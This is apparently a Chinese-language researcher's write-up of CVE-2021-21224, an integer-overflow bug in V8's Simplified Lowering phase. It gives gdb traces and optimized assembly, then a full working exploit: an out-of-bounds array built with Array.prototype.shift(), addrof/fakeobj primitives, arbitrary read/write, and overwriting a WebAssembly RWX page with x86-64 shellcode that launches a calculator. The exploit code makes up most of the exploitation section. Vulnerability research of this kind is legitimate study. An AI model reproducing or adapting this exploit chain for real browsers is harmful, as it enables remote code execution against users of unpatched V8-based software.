Cve 2021 21224 分析笔记

 

CVE-2021-21224 分析笔记

这个漏洞是今年比较火的一个漏洞,被用在今年的hw活动中。

此漏洞发生于Simplified Lowering阶段的RepresentationChanger::GetWord32RepresentationFor函数,可以构造一个整数溢出,可以通过Array.prototype.shift()方法来构造一个长度为-1(0xFFFF_FFFF)的数组,凭借这个强大的越界数组我们可以很轻松的实现RCE

漏洞分析

本人使用的commit版本为commit 552b9b32534a113178f716f1eefe46862539e200。

我们试着分析这个测试代码:

function foo(b) 
{
    let x = -1;
    if (b) x = 0xFFFF_FFFF;
    %SystemBreak();
    return -1 < Math.max(0, x);
}
     
console.log(foo(true));
%PrepareFunctionForOptimization(foo);
console.log(foo(false));
%OptimizeFunctionOnNextCall(foo);
%SystemBreak();
console.log(foo(true));

在foo函数中,如果b为false,那么x = -1,那么返回值max为0,foo返回true。

如果b为true,那么x = 0xffffffff,max返回值为0xffffffff,foo返回为true。

所以在正常语境下,foo必然返回true。

那么我们试着运行一下这个代码:

gdb-peda$ set args --allow-natives-syntax ./test.js
gdb-peda$ r
Starting program: /home/giantbranch/Desktop/v8/out.gn/x64.release/d8 --allow-natives-syntax ./test.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f0e63750700 (LWP 15364)]
[New Thread 0x7f0e62f4f700 (LWP 15365)]
[New Thread 0x7f0e6274e700 (LWP 15366)]
true
true
false
[Thread 0x7f0e63750700 (LWP 15364) exited]
[Thread 0x7f0e62f4f700 (LWP 15365) exited]
[Thread 0x7f0e6274e700 (LWP 15366) exited]
[Inferior 1 (process 15360) exited normally]
Warning: not running or target is remote
gdb-peda$ 

可以看到,foo返回了false。

那么原因就在%OptimizeFunctionOnNextCall(foo);,也就是将foo函数优化了,问题就出在优化中。

这次,我们将断点设置在max函数。

gdb-peda$ b Builtins_MathMax
Breakpoint 1 at 0x563a0d14cf84
gdb-peda$ r
Starting program: /home/giantbranch/Desktop/v8/out.gn/x64.release/d8 --allow-natives-syntax ./test.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f0b45452700 (LWP 15408)]
[New Thread 0x7f0b44c51700 (LWP 15409)]
[New Thread 0x7f0b44450700 (LWP 15410)]

[----------------------------------registers-----------------------------------]
RAX: 0x2 
RBX: 0xffff 
RCX: 0x55e56a2a1f80 (<Builtins_MathMax>:	push   rbp)
RDX: 0x2d0e080423b1 --> 0x80423 
RSI: 0x2d0e082030e1 --> 0xb1000001e6082421 
RDI: 0x2d0e082062bd --> 0x2908042229082422 
RBP: 0x7fff2e9b93b8 --> 0x7fff2e9b9430 --> 0x7fff2e9b94a0 --> 0x7fff2e9b94c8 --> 0x7fff2e9b9530 --> 0x7fff2e9b9680 (--> ...)
RSP: 0x7fff2e9b93b8 --> 0x7fff2e9b9430 --> 0x7fff2e9b94a0 --> 0x7fff2e9b94c8 --> 0x7fff2e9b9530 --> 0x7fff2e9b9680 (--> ...)
RIP: 0x55e56a2a1f84 (<Builtins_MathMax+4>:	push   rsi)
R8 : 0x0 
R9 : 0xfffffffffffffff7 
R10: 0x55e56c198bc9 --> 0x100000000 
R11: 0x2d0e082030e1 --> 0xb1000001e6082421 
R12: 0x8042389 
R13: 0x2d0e00000000 --> 0x7fff2e9b9ba8 (0x00002d0e00000000)
R14: 0x2d0e08212829 --> 0x50000005008042a 
R15: 0x55e56c1ff360 --> 0x55e56a2e5ea0 (<Builtins_WideHandler>:	add    r9,0x1)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55e56a2a1f7f:	int3   
   0x55e56a2a1f80 <Builtins_MathMax>:	push   rbp
   0x55e56a2a1f81 <Builtins_MathMax+1>:	mov    rbp,rsp
=> 0x55e56a2a1f84 <Builtins_MathMax+4>:	push   rsi
   0x55e56a2a1f85 <Builtins_MathMax+5>:	push   rdi
   0x55e56a2a1f86 <Builtins_MathMax+6>:	push   rax
   0x55e56a2a1f87 <Builtins_MathMax+7>:	sub    rsp,0x20
   0x55e56a2a1f8b <Builtins_MathMax+11>:	mov    QWORD PTR [rbp-0x38],rsi
[------------------------------------stack-------------------------------------]
0000| 0x7fff2e9b93b8 --> 0x7fff2e9b9430 --> 0x7fff2e9b94a0 --> 0x7fff2e9b94c8 --> 0x7fff2e9b9530 --> 0x7fff2e9b9680 (--> ...)
0008| 0x7fff2e9b93c0 --> 0x55e56a2028cf (<Builtins_InterpreterEntryTrampoline+207>:	mov    r14,QWORD PTR [rbp-0x20])
0016| 0x7fff2e9b93c8 --> 0x2d0e08205fdd --> 0x2908205ff9082429 
0024| 0x7fff2e9b93d0 --> 0x0 
0032| 0x7fff2e9b93d8 --> 0x2d0e0821281d --> 0xffffe00000080423 
0040| 0x7fff2e9b93e0 --> 0x0 
0048| 0x7fff2e9b93e8 --> 0x2d0e08205fdd --> 0x2908205ff9082429 
0056| 0x7fff2e9b93f0 --> 0x2d0e082062bd --> 0x2908042229082422 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Thread 1 "d8" hit Breakpoint 1, 0x000055e56a2a1f84 in Builtins_MathMax ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────
 RAX  0x2
 RBX  0xffff
 RCX  0x55e56a2a1f80 (Builtins_MathMax) ◂— push   rbp
 RDX  0x2d0e080423b1 ◂— 0x80423
 RDI  0x2d0e082062bd ◂— 0x2908042229082422
 RSI  0x2d0e082030e1 ◂— 0xb1000001e6082421
 R8   0x0
 R9   0xfffffffffffffff7
 R10  0x55e56c198bc9 ◂— 0x100000000
 R11  0x2d0e082030e1 ◂— 0xb1000001e6082421
 R12  0x8042389
 R13  0x2d0e00000000 —▸ 0x7fff2e9b9ba8 ◂— 0x2d0e00000000
 R14  0x2d0e08212829 ◂— 0x50000005008042a
 R15  0x55e56c1ff360 —▸ 0x55e56a2e5ea0 (Builtins_WideHandler) ◂— add    r9, 1
 RBP  0x7fff2e9b93b8 —▸ 0x7fff2e9b9430 —▸ 0x7fff2e9b94a0 —▸ 0x7fff2e9b94c8 —▸ 0x7fff2e9b9530 ◂— ...
 RSP  0x7fff2e9b93b8 —▸ 0x7fff2e9b9430 —▸ 0x7fff2e9b94a0 —▸ 0x7fff2e9b94c8 —▸ 0x7fff2e9b9530 ◂— ...
 RIP  0x55e56a2a1f84 (Builtins_MathMax+4) ◂— push   rsi
──────────────────────────────────────────[ DISASM ]──────────────────────────────────────────
 ► 0x55e56a2a1f84 <Builtins_MathMax+4>     push   rsi
   0x55e56a2a1f85 <Builtins_MathMax+5>     push   rdi
   0x55e56a2a1f86 <Builtins_MathMax+6>     push   rax
   0x55e56a2a1f87 <Builtins_MathMax+7>     sub    rsp, 0x20
   0x55e56a2a1f8b <Builtins_MathMax+11>    mov    qword ptr [rbp - 0x38], rsi
   0x55e56a2a1f8f <Builtins_MathMax+15>    cmp    rsp, qword ptr [r13 + 0x50]
   0x55e56a2a1f93 <Builtins_MathMax+19>    jbe    Builtins_MathMax+269 <0x55e56a2a208d>
 
   0x55e56a2a1f99 <Builtins_MathMax+25>    movsxd rcx, eax
   0x55e56a2a1f9c <Builtins_MathMax+28>    pcmpeqd xmm0, xmm0
   0x55e56a2a1fa0 <Builtins_MathMax+32>    psllq  xmm0, 0x34
   0x55e56a2a1fa5 <Builtins_MathMax+37>    xor    edi, edi
──────────────────────────────────────────[ STACK ]───────────────────────────────────────────
00:0000│ rbp rsp  0x7fff2e9b93b8 —▸ 0x7fff2e9b9430 —▸ 0x7fff2e9b94a0 —▸ 0x7fff2e9b94c8 —▸ 0x7fff2e9b9530 ◂— ...
01:0008│          0x7fff2e9b93c0 —▸ 0x55e56a2028cf (Builtins_InterpreterEntryTrampoline+207) ◂— mov    r14, qword ptr [rbp - 0x20]
02:0010│          0x7fff2e9b93c8 —▸ 0x2d0e08205fdd ◂— 0x2908205ff9082429
03:0018│          0x7fff2e9b93d0 ◂— 0x0
04:0020│          0x7fff2e9b93d8 —▸ 0x2d0e0821281d ◂— 0xffffe00000080423
05:0028│          0x7fff2e9b93e0 ◂— 0x0
06:0030│          0x7fff2e9b93e8 —▸ 0x2d0e08205fdd ◂— 0x2908205ff9082429
07:0038│          0x7fff2e9b93f0 —▸ 0x2d0e082062bd ◂— 0x2908042229082422
────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────
 ► f 0     55e56a2a1f84 Builtins_MathMax+4
   f 1     55e56a2028cf Builtins_InterpreterEntryTrampoline+207
   f 2     2d0e08205fdd
   f 3                0
Breakpoint Builtins_MathMax
gdb-peda$ c
Continuing.
true

[----------------------------------registers-----------------------------------]
RAX: 0x2 
RBX: 0xffff 
RCX: 0x55e56a2a1f80 (<Builtins_MathMax>:	push   rbp)
RDX: 0x2d0e080423b1 --> 0x80423 
RSI: 0x2d0e082030e1 --> 0xb1000001e6082421 
RDI: 0x2d0e082062bd --> 0x2908042229082422 
RBP: 0x7fff2e9b93b8 --> 0x7fff2e9b9430 --> 0x7fff2e9b94a0 --> 0x7fff2e9b94c8 --> 0x7fff2e9b9530 --> 0x7fff2e9b9680 (--> ...)
RSP: 0x7fff2e9b93b8 --> 0x7fff2e9b9430 --> 0x7fff2e9b94a0 --> 0x7fff2e9b94c8 --> 0x7fff2e9b9530 --> 0x7fff2e9b9680 (--> ...)
RIP: 0x55e56a2a1f84 (<Builtins_MathMax+4>:	push   rsi)
R8 : 0x0 
R9 : 0xfffffffffffffff7 
R10: 0x55e56c198bc9 --> 0x100000000 
R11: 0x2d0e082030e1 --> 0xb1000001e6082421 
R12: 0x2d0e082062bf --> 0x422290804222908 
R13: 0x2d0e00000000 --> 0x7fff2e9b9ba8 (0x00002d0e00000000)
R14: 0x2d0e08212829 --> 0x50000005008042a 
R15: 0x2d0e08200000 --> 0x40000
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55e56a2a1f7f:	int3   
   0x55e56a2a1f80 <Builtins_MathMax>:	push   rbp
   0x55e56a2a1f81 <Builtins_MathMax+1>:	mov    rbp,rsp
=> 0x55e56a2a1f84 <Builtins_MathMax+4>:	push   rsi
   0x55e56a2a1f85 <Builtins_MathMax+5>:	push   rdi
   0x55e56a2a1f86 <Builtins_MathMax+6>:	push   rax
   0x55e56a2a1f87 <Builtins_MathMax+7>:	sub    rsp,0x20
   0x55e56a2a1f8b <Builtins_MathMax+11>:	mov    QWORD PTR [rbp-0x38],rsi
[------------------------------------stack-------------------------------------]
0000| 0x7fff2e9b93b8 --> 0x7fff2e9b9430 --> 0x7fff2e9b94a0 --> 0x7fff2e9b94c8 --> 0x7fff2e9b9530 --> 0x7fff2e9b9680 (--> ...)
0008| 0x7fff2e9b93c0 --> 0x55e56a2028cf (<Builtins_InterpreterEntryTrampoline+207>:	mov    r14,QWORD PTR [rbp-0x20])
0016| 0x7fff2e9b93c8 --> 0x2d0e08205fdd --> 0x2908205ff9082429 
0024| 0x7fff2e9b93d0 --> 0x0 
0032| 0x7fff2e9b93d8 --> 0xfffffffe 
0040| 0x7fff2e9b93e0 --> 0x0 
0048| 0x7fff2e9b93e8 --> 0x2d0e08205fdd --> 0x2908205ff9082429 
0056| 0x7fff2e9b93f0 --> 0x2d0e082062bd --> 0x2908042229082422 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Thread 1 "d8" hit Breakpoint 1, 0x000055e56a2a1f84 in Builtins_MathMax ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────
 RAX  0x2
 RBX  0xffff
 RCX  0x55e56a2a1f80 (Builtins_MathMax) ◂— push   rbp
 RDX  0x2d0e080423b1 ◂— 0x80423
 RDI  0x2d0e082062bd ◂— 0x2908042229082422
 RSI  0x2d0e082030e1 ◂— 0xb1000001e6082421
 R8   0x0
 R9   0xfffffffffffffff7
 R10  0x55e56c198bc9 ◂— 0x100000000
 R11  0x2d0e082030e1 ◂— 0xb1000001e6082421
 R12  0x2d0e082062bf ◂— 0x422290804222908
 R13  0x2d0e00000000 —▸ 0x7fff2e9b9ba8 ◂— 0x2d0e00000000
 R14  0x2d0e08212829 ◂— 0x50000005008042a
 R15  0x2d0e08200000 ◂— 0x40000
 RBP  0x7fff2e9b93b8 —▸ 0x7fff2e9b9430 —▸ 0x7fff2e9b94a0 —▸ 0x7fff2e9b94c8 —▸ 0x7fff2e9b9530 ◂— ...
 RSP  0x7fff2e9b93b8 —▸ 0x7fff2e9b9430 —▸ 0x7fff2e9b94a0 —▸ 0x7fff2e9b94c8 —▸ 0x7fff2e9b9530 ◂— ...
 RIP  0x55e56a2a1f84 (Builtins_MathMax+4) ◂— push   rsi
──────────────────────────────────────────[ DISASM ]──────────────────────────────────────────
 ► 0x55e56a2a1f84 <Builtins_MathMax+4>     push   rsi
   0x55e56a2a1f85 <Builtins_MathMax+5>     push   rdi
   0x55e56a2a1f86 <Builtins_MathMax+6>     push   rax
   0x55e56a2a1f87 <Builtins_MathMax+7>     sub    rsp, 0x20
   0x55e56a2a1f8b <Builtins_MathMax+11>    mov    qword ptr [rbp - 0x38], rsi
   0x55e56a2a1f8f <Builtins_MathMax+15>    cmp    rsp, qword ptr [r13 + 0x50]
   0x55e56a2a1f93 <Builtins_MathMax+19>    jbe    Builtins_MathMax+269 <0x55e56a2a208d>
 
   0x55e56a2a1f99 <Builtins_MathMax+25>    movsxd rcx, eax
   0x55e56a2a1f9c <Builtins_MathMax+28>    pcmpeqd xmm0, xmm0
   0x55e56a2a1fa0 <Builtins_MathMax+32>    psllq  xmm0, 0x34
   0x55e56a2a1fa5 <Builtins_MathMax+37>    xor    edi, edi
──────────────────────────────────────────[ STACK ]───────────────────────────────────────────
00:0000│ rbp rsp  0x7fff2e9b93b8 —▸ 0x7fff2e9b9430 —▸ 0x7fff2e9b94a0 —▸ 0x7fff2e9b94c8 —▸ 0x7fff2e9b9530 ◂— ...
01:0008│          0x7fff2e9b93c0 —▸ 0x55e56a2028cf (Builtins_InterpreterEntryTrampoline+207) ◂— mov    r14, qword ptr [rbp - 0x20]
02:0010│          0x7fff2e9b93c8 —▸ 0x2d0e08205fdd ◂— 0x2908205ff9082429
03:0018│          0x7fff2e9b93d0 ◂— 0x0
04:0020│          0x7fff2e9b93d8 ◂— 0xfffffffe
05:0028│          0x7fff2e9b93e0 ◂— 0x0
06:0030│          0x7fff2e9b93e8 —▸ 0x2d0e08205fdd ◂— 0x2908205ff9082429
07:0038│          0x7fff2e9b93f0 —▸ 0x2d0e082062bd ◂— 0x2908042229082422
────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────
 ► f 0     55e56a2a1f84 Builtins_MathMax+4
   f 1     55e56a2028cf Builtins_InterpreterEntryTrampoline+207
   f 2     2d0e08205fdd
   f 3                0
Breakpoint Builtins_MathMax
gdb-peda$ c
Continuing.
true
false
[Thread 0x7f0b45452700 (LWP 15408) exited]
[Thread 0x7f0b44450700 (LWP 15410) exited]
[Thread 0x7f0b44c51700 (LWP 15409) exited]
[Inferior 1 (process 15407) exited normally]
Warning: not running or target is remote
gdb-peda$

神奇的事情来了,我们调用了三次foo函数,按理说max函数也会被调用三次,但是在debug环境中,我们清楚的看到我们设置在max函数的断点只断了两次,所以说,在第三次调用foo函数的时候,max函数被优化掉了。

那么具体优化成了啥呢?这次我们将断点设置在foo函数中:

function foo(b) 
{
    %SystemBreak();
    let x = -1;
    if (b) x = 0xFFFF_FFFF;
    //%SystemBreak();
    return -1 < Math.max(0, x);
}
     
console.log(foo(true));
%PrepareFunctionForOptimization(foo);
console.log(foo(false));
%OptimizeFunctionOnNextCall(foo);
//%SystemBreak();
console.log(foo(true));

优化后的代码:

gdb-peda$ x/20i 0x337600084101
=> 0x337600084101:	cmp    DWORD PTR [rbp-0x28],0x0
   0x337600084105:	jne    0x33760008411f
   0x33760008410b:	movabs r10,0xbff0000000000000 <----------------- load
   0x337600084115:	vmovq  xmm0,r10
   0x33760008411a:	jmp    0x33760008412e
   0x33760008411f:	movabs r10,0x41efffffffe00000
   0x337600084129:	vmovq  xmm0,r10
   0x33760008412e:	vcvttsd2si rdx,xmm0 <----------------------- rdx value here
   0x337600084133:	cmp    rdx,0x0
   0x337600084137:	jg     0x33760008413f
   0x33760008413d:	xor    edx,edx
   0x33760008413f:	movabs rcx,0x337608205fdd
   0x337600084149:	mov    ecx,DWORD PTR [rcx+0x3]
   0x33760008414c:	add    rcx,r13
   0x33760008414f:	mov    edi,0x82062bd
   0x337600084154:	cmp    DWORD PTR [rcx+0x53],edi
   0x337600084157:	jne    0x337600084200
   0x33760008415d:	cmp    edx,0xffffffff <---------------------- cmp here
   0x337600084160:	jg     0x337600084188
   0x337600084166:	mov    rax,QWORD PTR [r13+0xb0]
gdb-peda$ 
   0x33760008416d:	mov    rcx,QWORD PTR [rbp-0x18]
   0x337600084171:	mov    rsp,rbp
   0x337600084174:	pop    rbp
   0x337600084175:	cmp    rcx,0x1
   0x337600084179:	jg     0x33760008417e
   0x33760008417b:	ret    0x10
   0x33760008417e:	pop    r10
   0x337600084180:	lea    rsp,[rsp+rcx*8+0x8]
   0x337600084185:	push   r10
   0x337600084187:	ret    
   0x337600084188:	mov    rax,QWORD PTR [r13+0xa8]
   0x33760008418f:	jmp    0x33760008416d
   0x337600084191:	movabs rdx,0x80
   0x33760008419b:	push   rdx
   0x33760008419c:	mov    eax,0x1
   0x3376000841a1:	movabs rbx,0x562c8be14b00
   0x3376000841ab:	movabs rsi,0x3376082030e1
   0x3376000841b5:	mov    rdx,rax
   0x3376000841b8:	mov    r10,QWORD PTR [rip+0xffffffffffffff37]        # 0x3376000840f6
   0x3376000841bf:	call   r10

可以看到max函数已经不见了,取而代之的几个cmp语句。

rdx为比较的x的值,在赋值的时候,其值为64位,但是在比较的时候,却只取了低32位进行比较,这样原本的0xFFFFFFFF会被当作-1,所以函数结果就会返回false。

漏洞利用

有了如上所示的整数溢出漏洞,配合zer0con2021上讲解的Array.prototype.shift()相关的Trick,可以通过整数溢出来构造一个长度为-1(0xFFFF_FFFF)的数组。

具体来说,构造代码如下:

function hex(a) 
{
    return a.toString(16);
}
     
function foo(flag) 
{
    let x = -1;
    if (flag) x = 0xFFFF_FFFF;
    let len = 0 - Math.max(0, x);
     
    let vuln_array = new Array(len);
    vuln_array.shift();
    let oob_array = [1.1, 1.2, 1.3];
    %DebugPrint(vuln_array);
    %SystemBreak();
    return [vuln_array, oob_array];
}
     
function confusion_to_oob() 
{
    console.log("[+] convert confusion to oob......");
    // 触发JIT
    for (let i=0; i<0xc00c; i++) {foo(false);}   
    //
    [vuln_array, oob_array] = foo(true);
    vuln_array[16] = 0xc00c;
     
    console.log("    oob_array.length: " + hex(oob_array.length));
}
     
confusion_to_oob();

也就是在我们构造的漏洞数组后面,紧接着构造一个浮点数数组。通过漏洞数组的溢出,修改obj的地址,进而达到任意内存地址写。

v8对象的数据结构:


map	表明了一个对象的类型对象b为PACKED_DOUBLE_ELEMENTS类型
prototype	prototype
elements	对象元素
length	元素个数
properties	属性

在gdb环境中查看array的内存数据:

gdb-peda$ x/40wx 0x150d082b4249 -1
0x150d082b4248:	0x08042201	0x08042429	0x08042429	0x082439c5
0x150d082b4258:	0x08042229	0x082b4249	0xfffffffe	0x08042a95
0x150d082b4268:	0x00000006	0x9999999a	0x3ff19999	0x33333333
0x150d082b4278:	0x3ff33333	0xcccccccd	0x3ff4cccc	0x082439ed
0x150d082b4288:	0x08042229	0x082b4265	0x00018018	0x08042201
0x150d082b4298:	0x00000004	0x082b4255	0x082b4285	0x08243a3d
0x150d082b42a8:	0x08042229	0x082b4295	0x00000004	0x08243f65
0x150d082b42b8:	0x08042229	0x08042229	0x082b42a5	0x00000004
0x150d082b42c8:	0x00000002	0x08042e2d	0x00000008	0x00000004
0x150d082b42d8:	0x00000000	0x08243f8f	0x080423b1	0x080423b1

其中,内存地为0x4250为vuln_array[0]地址,0x4290为浮点数数组的length,可以看到已经被我们改成了0x18018 = 0xc00c * 2

如果我们利用oob的读取功能将数组对象A的对象类型Map读取出来,然后利用oob的写入功能将这个类型写入数组对象B,就会导致数组对象B的类型变为了数组对象A的对象类型,这样就造成了类型混淆。

那出现类型混淆怎么利用呢?举个例子,如果我们定义一个FloatArray浮点数数组A,然后定义一个对象数组B。正常情况下,访问A[0]返回的是一个浮点数,访问B[0]返回的是一个对象元素。如果将B的类型修改为A的类型,那么再次访问B[0]时,返回的就不是对象元素B[0],而是B[0]对象元素转换为浮点数即B[0]对象的内存地址了;如果将A的类型修改为B的类型,那么再次访问A[0]时,返回的就不是浮点数A[0],而是以A[0]为内存地址的一个JavaScript对象了。

造成上面的原因在于,v8完全依赖Map类型对js对象进行解析。

所以,我们要构造两个函数,达到类似的效果:

计算一个对象的地址addressOf:将需要计算内存地址的对象存放到一个对象数组中的A[0],然后利用上述类型混淆漏洞,将对象数组的Map类型修改为浮点数数组的类型,访问A[0]即可得到浮点数表示的目标对象的内存地址。

将一个内存地址伪造为一个对象fakeObject:将需要伪造的内存地址存放到一个浮点数数组中的B[0],然后利用上述类型混淆漏洞,将浮点数数组的Map类型修改为对象数组的类型,那么B[0]此时就代表了以这个内存地址为起始地址的一个JS对象了。

vuln_array[7]指向的地方正好是oob_array[0]的低四字节,我们将obj写入其中。之后通过oob_array[0]将八字节长度的值读出来,高四字节全部置零之后就是obj的值了

function addrof(obj) {
vuln_array[7] = obj;
 
return helper.f2i(oob_array[0]) & 0xFFFF_FFFFn;
}

Fakeobj:

function fakeobj(addr) {
oob_array[0] = helper.i2f(addr);
 
return vuln_array[7];
}

如果我们通过类型混淆再加上地址偏移,将一个fakeobj对象的element和length映射到我们可以控制的内存区域,我们就可以达到一个任意内存地址写。

具体来说,构造代码如下:

function get_arw() {
console.log("[+] get absolute read/write access......");
 
let oob_array_map_and_properties = helper.f2i(oob_array[3]);
let point_array = [helper.i2f(oob_array_map_and_properties), 1.1, 1.2, 1.3];
fake = fakeobj(addrof(point_array) - 0x20n);
%DebugPrint(point_array);
%SystemBreak();
}

oob_array[3]保存的是oob_array本身的mapproperties,利用他们俩我们可以构造一个elementslength都完全由我们控制的数组,point_array[0]中就是我们复制来的mapproperties,如果用fakeobj原语把point_array[0]当作是一个对象来返回,那么point_array[1]中的值就是elementslength,既然我们可以任意的改写point_array[1],也就意味着我们可以将任意length长度的数据写到elements指向的地方。

有了任意内存地址写后,就可以构造shellcode:

  1. 创建一个wasm函数对象。
  2. 通过地址泄露原语找到wasm自带的RWX属性页及wasm函数最终会调用的汇编代码(wasmInstance.exports.main -> shared_info -> data -> instance+XX)。
  3. 通过任意地址读写原语修改wasm所在内存页,换上我们准备好的shellcode
  4. 调用wasm函数接口,执行shellcode

最终exp:

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var wasm_function = wasm_instance.exports.main;
//var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

let arb_write_buffer = new ArrayBuffer(0x300);

// 用来实现类型转换
class Helpers {
    constructor() {
        this.buf =new ArrayBuffer(16);
        this.uint32 = new Uint32Array(this.buf);
        this.float64 = new Float64Array(this.buf);
        this.big_uint64 = new BigUint64Array(this.buf);
    }

    // float-->uint
    f2i(f)
    {
        this.float64[0] = f;
        return this.big_uint64[0];
    }
    // uint-->float
    i2f(i)
    {
        this.big_uint64[0] = i;
        return this.float64[0];
    }
    // 64-->32
    f2half(val)
    {
        this.float64[0]= val;
        let tmp = Array.from(this.uint32);
        return tmp;
    }
    // 32-->64
    half2f(val)
    {
        this.uint32.set(val);
        return this.float64[0];
    }

    hex(a) {
        return "0x" + a.toString(16);
    }

    gc() { for(let i = 0; i < 100; i++) { new ArrayBuffer(0x1000000); } }
}

function foo(flag) {
    // 触发漏洞,使得len==1且Range为(-4294967295, 0)
    let x = -1;
    if (flag) x = 0xFFFF_FFFF;
    let len = 0 - Math.max(0, x);
    // 利用array.shift()来构造出长度为-1(0xFFFFFFFE)的数组
    let vuln_array = new Array(len);
    vuln_array.shift();
    
    let oob_array = [1.1, 1.2, 1.3];

    if (flag) {
        //%DebugPrint(oob_array);
        //%SystemBreak();
    }
    return [vuln_array, oob_array];
}

function confusion_to_oob() {
    console.log("[+] convert confusion to oob......");
    // 触发JIT
    for (let i=0; i<0x10000; i++) {foo(false);}    
    // gc
    helper.gc();
    // 修改oob_array的length
    [vuln_array, oob_array] = foo(true);
    vuln_array[16] = 0xc00c;

    console.log("    oob_array.length: " + helper.hex(oob_array.length));
}

function addrof(obj) {
    vuln_array[7] = obj;

    return helper.f2i(oob_array[0]) & 0xFFFF_FFFFn;
}

function fakeobj(addr) {
    oob_array[0] = helper.i2f(addr);

    return vuln_array[7];
}

function get_arw() {
    console.log("[+] get absolute read/write access......");
    
    let oob_array_map_and_properties = helper.f2i(oob_array[3]);
    point_array = [helper.i2f(oob_array_map_and_properties), 1.1, 1.2, 1.3];
    fake = fakeobj(addrof(point_array) - 0x20n);
}

function arb_read(addr) {
    if (addr %2n == 0) {
        addr += 1n;
    }
    // 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1;
    // -8n是因为elements字段指向的内容会自动+8来跳过map和length
    point_array[1] = helper.i2f((2n << 32n) + addr -8n);
    return fake[0];
}

function arb_write(addr, val) {
    if (addr %2n == 0) {
        addr += 1n;
    }
    // 2n << 32n是为了填充length字段,在指针压缩下length的值会被改为0x1;
    // -8n是因为elements字段指向的内容会自动+8来跳过map和length
    point_array[1] = helper.i2f((2n << 32n) + addr -8n);
    fake[0] = helper.i2f(BigInt(val));
}

function get_wasm_rwx() {
    console.log("[+] get address of rwx page......");
    rwx_page_addr = helper.f2i(arb_read(addrof(wasm_instance) + 0x68n));
    //%DebugPrint(wasm_instance);
    //%DebugPrint(wasm_function);
    console.log("    Address of rwx page: " + helper.hex(rwx_page_addr));
    //%SystemBreak();
}

function run_shellcode(addr, shellcode) {
    console.log("[+] run shellcode......");
    let dataview = new DataView(arb_write_buffer);
    let buf_addr = addrof(arb_write_buffer);
    let backing_store_addr = buf_addr + 0x14n;
    arb_write(backing_store_addr, addr);
    for (let i = 0; i < shellcode.length; i++) {
        dataview.setUint32(4*i, shellcode[i], true);
    }
    console.log("[+] success!!!");
}

function exp() {
    helper = new Helpers();

    confusion_to_oob();
    get_arw();
    get_wasm_rwx();
    run_shellcode(rwx_page_addr, shellcode);
    wasm_function();
}

exp();